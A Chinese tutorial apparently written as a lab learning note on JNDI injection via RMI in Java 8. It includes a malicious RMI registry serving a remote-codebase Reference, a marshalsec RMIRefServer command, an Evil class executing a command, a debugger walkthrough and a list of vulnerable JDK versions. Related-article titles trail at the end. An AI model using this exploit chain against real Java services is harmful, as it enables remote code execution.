jndi简介

Java 命名和目录接口 (JNDI) 是一种 Java API,它允许 Java 软件客户端通过名称发现和查找数据和对象。JNDI 提供了一个通用接口,用于访问不同的命名和目录服务,例如 LDAP、DNS 和 NIS 提供的服务。JNDI 可用于访问 Java EE 应用程序中的数据库、队列和 EJB(Enterprise JavaBeans)等资源,也可用于通过 RMI(远程方法调用)或 CORBA(通用对象请求代理架构)访问远程对象).

在了解jndi之后需要了解rmi的相关知识,远程方法调用 (RMI) 是一种 Java API,它允许 Java 对象调用远程对象上的方法,就好像它们是本地的一样。RMI 使运行在不同计算机上的 Java 虚拟机 (JVM) 之间能够进行通信,它是在 Java 中实现分布式计算的机制。

RMI 为 Java 对象提供了一种通过网络相互交互的方式,就好像它们在同一个 JVM 中运行一样。这是通过在一台机器上创建一个远程对象,然后在客户端机器上为该对象创建一个“存根”来实现的。客户端通过存根与远程对象通信,远程对象本身处理与服务器机器上运行的实际远程对象的通信。

RMI 使用 Java 的对象序列化机制来编组和解组参数以及远程方法调用的返回值。RMI 还允许远程对象具有回调,以便服务器对象可以调用客户端对象上的方法。

值得注意的是,RMI是Java特有的技术,不能用于跨语言、跨平台的开发。相反,在这些情况下更多

环境搭建

Ps:本次实验的jdk环境是1.8.0,
老版本的jdk下载链接:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html客户端为windows用为调试IP:192.168.40.1服务端为kali,IP为192.168.40.128地使用其他解决方案,例如 CORBA 和 Web 服务。

(1)创建客户端:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;public class RMIClient {public static void main(String[] args) {try {// 设置trustURLCodebase的值为true, 防止远程调用失败// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");String uri = "rmi://192.168.40.128:8880/feng";// 此类是执行命名操作的初始上下文Context ctx = new InitialContext();// 返回绑定到 uri 的对象ctx.lookup(uri);} catch (Exception e) {System.out.println("flynaaaaa");}}
}

InitialContext()提供了一种创建用于执行JNDI操作的上下文的方法,使得你的Java应用程序可以与各种命名和目录服务(如LDAP、DNS和NIS)交互,并为访问远程资源或服务提供了简单的方法。

(2)服务端创建:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class Server {public static void main(String[] args) throws Exception{System.setProperty("java.rmi.server.hostname","192.168.40.128");
//用作创建注册中心Registry registry = LocateRegistry.createRegistry(8880);
//将我们的恶意类搭载到http://192.168.40.128:9988/上 第二个Evil是创建的工厂,第一个Evil是编译的恶意类Evil.classReference feng = new Reference("Evil","Evil","http://192.168.40.128:9988/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(feng);registry.bind("feng",referenceWrapper);}
}

Reference是Java Naming and Directory Interface(JNDI) API的一部分,它用于表示对命名或目录服务中绑定的对象的引用。Reference类包含许多RefAddr对象,每个对象包含一种类型和一个值。

Reference对象由工厂类(如ObjectFactory)创建,用于传递工厂类重新创建对象所需的信息。

Reference类提供了一种存储对象引用的方法,该引用可以存储在JNDI命名服务中,例如,稍后由JNDI服务检索。Reference实例包含ObjectFactory需要重新创建对象所需的信息。

Reference可能包含RefAddr,该RefAddr包含类型和值。类型和值对可用于指定关于引用的其他信息,例如远程对象的位置,例如远程主机、端口和RMI接口,这允许ObjectFactory为远程对象创建适当的RMI存根。

总的来说, Reference实例用于向JNDI服务描述对象及其属性,并在需要时帮助重新创建对象。

操作:使用在kali上使用javac对服务端进行编译之后,使用java Sever运行程序

服务端也可以用marshalsec代替

命令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.40.128:9988/#Evil" 8880

(3)创建恶意类

import java.io.IOException;
public class Evil {// 静态代码块, 当类被加载时调用public Evil() throws Exception{Runtime.getRuntime().exec("calc");}
}

操作:在kali上使用javac对Evil进行编译,然后在当前目录下开启http服务,本案例使用python开启9988

(4)结果

动态调试

触发问题的关键是lookup()函数,所以从lookup()函数入手

之后进入InitialContext类中的lookup()方法对uri进行加载

经过getURLOrDefaultInitCtx()方法对uri进行上下文处理后,进入GenericURLContext类中的lookup()方法。对uri再进行解析处理。

之后客户端查询sevice,向注册中心查询Reference的存根,调用RegistryContext类的lookup()

之后对RegistryContext类的lookup()进行跟进,stub经过特殊处理后进入RegistryContext类中的decodeObject()方法。

之后进入 NamingManager类的getObjectInstance()方法

getObjectInstance()方法有class进行判断如果本地存在Evil则从本地加载,如果本地没有则使用Reference()方法进行加载

这里用codebase进行远程加载

经过class类的newInstance()方法来创建对象,进而执行了Calc

ldap和rmi差不多,等有时间在继续进行实验。

总结:

原理:jndi注入当客户端本地没有目标类的时候,就是就会去codebase去请求该类,然后创建对象。

注意事项:

JDK版本(默认把ldap算进去了)在11.0.1、8u191、7u201、6u211之前可直接利用。

Ps:8u121之前 rmi ldap 的reference都可以使用,8u121~8u191 只有ldap可以使用。

高版本绕过:https://tttang.com/archive/1405/

利用总结:lookup可控、使用带的URL支持动态转换、Reference可以实例化对象。

JNDI注入学习(看不懂直接喷,别忍着!)相关推荐

  1. Java 安全-JNDI注入学习

    背景知识 JNDI Service Provider JNDI 与 JNDI Service Provider 的关系类似于 Windows 中 SSPI 与 SSP 的关系.前者是统一抽象出来的接口 ...

  2. JNDI注入之略微学学

    前言 JNDI注入! 环境版本:JDK1.8.0-66 JNDI概念 JNDI 全称为 Java Naming and Directory Interface(Java 命名与目录接口) 是SUN公司 ...

  3. 学习Linux命令神器-看不懂直接给你解释

    大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件不可能完成的任务. 一般情况下,我们学习一个命令时,要么直接百度去搜索它的用法,要么 ...

  4. thinkphp学习笔记10—看不懂的路由规则

    原文:thinkphp学习笔记10-看不懂的路由规则 路由这部分貌似在实际工作中没有怎么设计过,只是在用默认的设置,在手册里面看到部分,艰涩难懂. 1.路由定义 要使用路由功能需要支持PATH_INF ...

  5. 硬盘mdr转换成gdp linux,Linux 命令学习神器!命令看不懂直接给你解释!

    原标题:Linux 命令学习神器!命令看不懂直接给你解释! 转自: 良许Linux 大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件 ...

  6. 廖雪峰python教程视频-为什么看不懂廖雪峰的Python学习教程?

    廖雪峰的Python教程已经很友好了,接近于把饭喂到嘴边了. 这不是廖雪峰教程的问题,而是一个基础代码技能和实际应用需求的代码技能差距太远导致的. 如果是新手,只学会了廖雪峰Python教程,那约等于 ...

  7. 廖雪峰python教程完整版-为什么看不懂廖雪峰的Python学习教程?

    廖雪峰的Python教程已经很友好了,接近于把饭喂到嘴边了. 这不是廖雪峰教程的问题,而是一个基础代码技能和实际应用需求的代码技能差距太远导致的. 如果是新手,只学会了廖雪峰Python教程,那约等于 ...

  8. dpkg命令_Linux 命令学习神器!命令看不懂直接给你解释!

    (给Linux爱好者加星标,提升Linux技能) 转自:良许Linux 大家都知道,Linux 系统有非常多的命令,而且每个命令又有非常多的用法,想要全部记住所有命令的所有用法,恐怕是一件不可能完成的 ...

  9. python基础教程廖雪峰云-为什么看不懂廖雪峰的Python学习教程?

    廖雪峰的Python教程已经很友好了,接近于把饭喂到嘴边了. 这不是廖雪峰教程的问题,而是一个基础代码技能和实际应用需求的代码技能差距太远导致的. 如果是新手,只学会了廖雪峰Python教程,那约等于 ...

最新文章

  1. python 使用yield进行数据的流式处理
  2. 管理员账户遇到“操作需要管理员权限”解决方法
  3. flash开发中如何实现界面代码分离
  4. 有些小银行利息高,非常受欢迎,为什么不在全国开网点?
  5. shell 脚本书写规范
  6. .sh文件是什么语言_FastDFS分布式文件系统的搭建安装
  7. Go语言从入门到精通 - 数据类型转换
  8. 160826、浏览器渲染页面过程描述,DOM编程技巧以及重排和重绘
  9. Bounding-box_regression详解
  10. TikZ绘图示例——尺规作图: 圆内接正九边形的近似画法
  11. Springboot接收ajax提交JSON数组
  12. 查看linq的生成语句
  13. Natural_Earth 全球地形渲染图 Version 3.2
  14. 通过单击按钮实现全屏、退出全屏
  15. python怎么使用证书_Python使用系统SSL证书?
  16. 重磅更新丨zCloud 数据库云管平台 v2.5
  17. scrapy 保存到mysql_Scrapy保存数据到mysql
  18. OSChina 周日乱弹 —— 不要让父亲带小孩
  19. Qt5.5-msvc2013-x64编译的程序在其它机器上无法运行,提示0xc000007b错误
  20. 2009年央视春晚最新节目单

热门文章

  1. Kaldi-Timit 训练
  2. 【解决】Android 腾讯地图 选点定位组件,获取当前位置有偏差所遇到的坑!!
  3. pitch yaw roll 最直观的解释
  4. 用python成为顶级黑客-python绝技:运用python成为顶级黑客 PDF 超清中文版
  5. token 微信access 过期_.Net微信开发之如何解决access_token过期问题
  6. 5、使用bean的scop属性来配置bean的作用域
  7. 罪恶装备X出招表[zz]
  8. 亚马逊链接那些非正常原因变狗的情况你都了解吗?
  9. Word‘由于宏安全设置 无法找到宏’问题解决
  10. oracle字符串截取substr和字符串查找instr